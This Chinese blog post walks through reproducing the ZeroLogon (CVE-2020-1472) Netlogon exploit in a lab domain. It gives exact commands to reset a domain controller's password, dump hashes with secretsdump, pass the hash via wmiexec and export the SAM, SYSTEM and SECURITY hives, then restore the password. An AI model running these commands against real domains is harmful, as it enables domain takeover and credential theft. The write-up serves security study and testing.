一、漏洞简介

NetLogon 远程协议是一种在 Windows 域控上使用的 RPC 接口,被用于各种与用户和机器认证相关的任务。最常用于让用户使用 NTLM 协议登录服务器,也用于 NTP 响应认证以及更新计算机域密码。

微软MSRC于8月11日 发布了Netlogon 特权提升漏洞安全通告。此漏洞CVE编号CVE-2020-1472, CVSS 评分:10.0。由 Secura 公司的 Tom Tervoort 发现提交并命名为 ZeroLogon。

攻击者使用 Netlogon 远程协议 (MS-NRPC) 建立与域控制器连接的 Netlogon 安全通道时,存在特权提升漏洞。当成功利用此漏洞时,攻击者可无需通过身份验证,在网络中的设备上运行经特殊设计的应用程序,获取域控制器的管理员权限。

二、影响范围

  • Windows Server, version 2004 (Server Core installation)
  • Windows Server 2008 R2 for x64-based Systems Service Pack 1
  • Windows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core installation)
  • Windows Server 2012
  • Windows Server 2012 (Server Core installation)
  • Windows Server 2012 R2
  • Windows Server 2012 R2 (Server Core installation)
  • Windows Server 2016
  • Windows Server 2016 (Server Core installation)
  • Windows Server 2019
  • Windows Server 2019 (Server Core installation)
  • Windows Server, version 1903 (Server Core installation)
  • Windows Server, version 1909 (Server Core installation)

三、简单域环境搭建与执行Exp所需环境

  1. 域环境组成

    1. Windows Server 2016作为域控服务器,IP为192.168.153.137
    2. Windows 10模拟普通域用户,IP为192.168.153.138
  2. 搭建过程

    1. 安装Win Server 2016域控

参考百度教程即可:https://jingyan.baidu.com/article/86f4a73ec2518b37d7526940.html

  1. Win10机器加入域

右击-属性-高级系统设置-计算机名-更改-隶属于域-填入域名确定就ok了

P.S. 本人在搭建域环境过程发现,按网上教程,Win10机器提示已成功加入域,但是实际并没有成功加入,现象如下:登陆界面显示的登录名并未按”域名****\用户名“的格式,如testdomain\test001,而是仅有一个本地的用户名,如test001。这应该是**本地用户名,即未成功加入域。本人采用的临时解决方法是在域控上新建一个域用户,然后在Win10机器上使用该账户登录。暂时不知道什么原因。请知道的大佬指导下。

  1. 说明:上述教程涉及的IP、域名等可自行决定。

  2. Win10机器配置Exp执行环境

    1. 安装Python 3。不再赘述。
    2. 安装impacket包:pip install impacket。如果设置机器不能上外网,可离线安装python包。
    3. 下载PoC与Exp:
    1. PoC:https://github.com/SecuraBV/CVE-2020-1472
    2. Exp:https://github.com/dirkjanm/CVE-2020-1472
    3. 恢复域控密码工具:https://github.com/risksense/zerologon

四、执行Exp

  1. 执行Exp前

    1. PoC:验证域控是否存在此漏洞

用法:python zerologon_tester.py 域控主机名 域控IP

python zerologon_tester.py WIN-JQ3IUSNP2K3 92.168.153.137

  1. 尝试导出域控hash:无法获取域控密码相关信息

用法:secretsdump.py 域名/域控机器名@域控IP -just-dc -no-pass

secretsdump.py pabtest.com.cn/WIN-JQ3IUSNP2K3@192.168.153.137 -just-dc -no-pass

  1. 执行Exp

用法:python CVE-2020-1472.py 域控nbios名 域控主机名$ 域控IP

python CVE-2020-1472.py WIN-JQ3IUSNP2K3 WIN-JQ3IUSNP2K3$ 192.168.153.137

  1. 导出域控上的hash

用法:python secretsdump.py server08.com/AD-Server$@192.168.2.208 -just-dc -no-pass

secretsdump.py pabtest.com.cn/WIN-JQ3IUSNP2K3@192.168.153.137 -just-dc -no-pass

去cmd5验证一下

  1. 登录域控机器

一般教程到上面这个步骤就结束了,下面我们来使用抓取到的密码登录域控机器,获得域控的Shell。

用法:wmiexec.py -hashes LMHASH:NTHASH 域名/用户名@域控IP

Wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:579da618cfbfa85247acf1f800a280a4 pabtest.com.cn/administrator@192.168.153.137

  1. 尝试恢复域控的密码

    1. 导出sam等文件到本地,命令如下:
reg save HKLM\SYSTEM system.save
reg save HKLM\SAM sam.save
reg save HKLM\SECURITY security.save get system.save
get sam.save
get security.save del /f system.save
del /f sam.save
del /f security.save

这三个文件会下载到Win10机器执行命令的目录上

  1. 然后尝试获取域控机器本地保存的置空前的hash。命令如下:

secretsdump.py -sam sam.save -system system.save -security security.save LOCAL

  1. 还原域控机器原始密码hash。命令如下:

python3 reinstall_original_pw.py DC_NETBIOS_NAME DC_IP_ADDR ORIG_NT_HASH

python reinstall_original_pw.py WIN-JQ3IUSNP2K3 192.168.153.137 7776eae2803c40a2e47efebfe3ba91b2

  1. 查看****WIN-2008-DC$账号的hash,已成功还原

复现过程结束。

【漏洞复现篇】CVE-2020-1472-微软NetLogon权限提升-手把手教学-简单域环境搭建与Exp执行的更多相关文章

  1. PJzhang:CVE-2020-1472微软NetLogon权限提升漏洞~复现

    猫宁~~~ 虚拟机上进行 安装windows 2008 R2 查看服务器ip 本地连接属性,取消ipv6,ip设置为192.168.43.158,子网掩码255.255.255.0,网关192.168 ...

  2. 【域控日志分析篇】CVE-2020-1472-微软NetLogon权限提升-执行Exp后域控日志分析与事件ID抓取

    前言:漏洞复现篇见:https://www.cnblogs.com/huaflwr/p/13697044.html 本文承接上一篇,简单过滤NetLogon漏洞被利用后,域控上的安全及系统日志上可能需 ...

  3. 第三篇——第二部分——第三文 配置SQL Server镜像——域环境

    原文:第三篇--第二部分--第三文 配置SQL Server镜像--域环境 原文出处:http://blog.csdn.net/dba_huangzj/article/details/28904503 ...

  4. 第三篇——第二部分——第五文 配置SQL Server镜像——域环境SQL Server镜像日常维护

    本文接上面两篇搭建镜像的文章: 第三篇--第二部分--第三文 配置SQL Server镜像--域环境:http://blog.csdn.net/dba_huangzj/article/details/ ...

  5. Apache Shiro 反序列化漏洞复现(CVE-2016-4437)

    漏洞描述 Apache Shiro是一个Java安全框架,执行身份验证.授权.密码和会话管理.只要rememberMe的AES加密密钥泄露,无论shiro是什么版本都会导致反序列化漏洞. 漏洞原理 A ...

  6. Struts2 S2-061 远程命令执行漏洞复现(CVE-2020-17530)

    0x01 漏洞简介 Struts在某些情况下可能存在OGNL表达式注入漏洞,如果开发人员使用了 %{-} 语法进行强制OGNL解析,某些特殊的TAG属性可能会被双重解析.攻击者可以通过构造恶意的OGN ...

  7. 利用Hexo搭建个人博客-环境搭建篇

    我是一个爱写博客进行总结分享的人.然而,有着热爱写博客并且深知写博客好处的我,却没有好好的把这个习惯坚持下来.如今毕业已经一年多了吧,每一次与师弟师妹们聊天,我总会意味深长的建议他们,一定要定期梳理总 ...

  8. iOS开发——实战OC篇&环境搭建之纯代码(玩转UINavigationController与UITabBarController)

    iOS开发——实战OC篇&环境搭建之纯代码(玩转UINavigationController与UITabBarController)   这里我们就直接上实例: 一:新建一个项目singleV ...

  9. 第三篇——第二部分——第四文 配置SQL Server镜像——非域环境

    原文:第三篇--第二部分--第四文 配置SQL Server镜像--非域环境 本文为非域环境搭建镜像演示,对于域环境搭建,可参照上文:http://blog.csdn.net/dba_huangzj/ ...

随机推荐

  1. java23种设计模式——四、原型模式

    源码在我的github和gitee中获取 目录 java23种设计模式-- 一.设计模式介绍 java23种设计模式-- 二.单例模式 java23种设计模式--三.工厂模式 java23种设计模式- ...

  2. Java面试题(MySQL篇)

    MySql 164.数据库的三范式是什么? 第一范式:强调的是列的原子性,即数据库表的每一列都是不可分割的原子数据项. 第二范式:要求实体的属性完全依赖于主关键字.所谓完全依赖是指不能存在仅依赖主关键 ...

  3. python爬虫--看看虎牙女主播中谁颜值最高

    目录 爬虫 百度人脸识别接口 效果演示 很多人学习python,不知道从何学起.很多人学习python,掌握了基本语法过后,不知道在哪里寻找案例上手.很多已经做案例的人,却不知道如何去学习更加高深的知 ...

  4. Android开发之制作圆形头像自定义View,直接引用工具类,加快开发速度。带有源代码学习

    作者:程序员小冰,CSDN博客:http://blog.csdn.net/qq_21376985 QQ986945193 博客园主页:http://www.cnblogs.com/mcxiaobing ...

  5. 关于bat批处理的一些操作,如启动jar 关闭进程等

    先说一下学习这个的前提: 公司要写个生成uid的工具,整完了之后就又整批处理工具,出于此目的,也是为了丰富自己的知识,就学习了一下,下面是相关的批处理脚本 我花了半天的时间找了相关的bat批处理,但是 ...

  6. P4719 【模板】"动态 DP"&动态树分治

    题目描述 给定一棵 n 个点的树,点带点权. 有 m 次操作,每次操作给定 x,y,表示修改点 x 的权值为 y. 你需要在每次操作之后求出这棵树的最大权独立集的权值大小. 输入格式 第一行有两个整数 ...

  7. mac android 真机调试

    1.已经安装好Androidstudio或者eclipse 2.下载配置好Android Sdk等 3.将android手机通过USB数据线连接Mac,打开终端输入system_profiler SP ...

  8. 填坑 | .NET core项目远程部署后连接数据库 mysql表大小写敏感问题

    欣喜成功部署了项目之后又遭遇重创hhh,swagger调试数据库,报错 MySql.Data.MySqlClient.MySqlException(0x80004005) 我猜是大小写的问题,一查果然 ...

  9. 基于canal的client-adapter数据同步必读指南

    本文将介绍canal项目中client-adapter的使用,以及落地生产中需要考虑的可靠性.高可用与监控报警.(基于canal 1.1.4版本) canal作为mysql的实时数据订阅组件,实现了对 ...

  10. 安装和配置SQL

    安装和配置SQL 在终端输入 npm i mysql命令安装SQL(加上-g全局安装) 配置SQL // 1.导入mysql模块 const mysql = require("mysql&q ...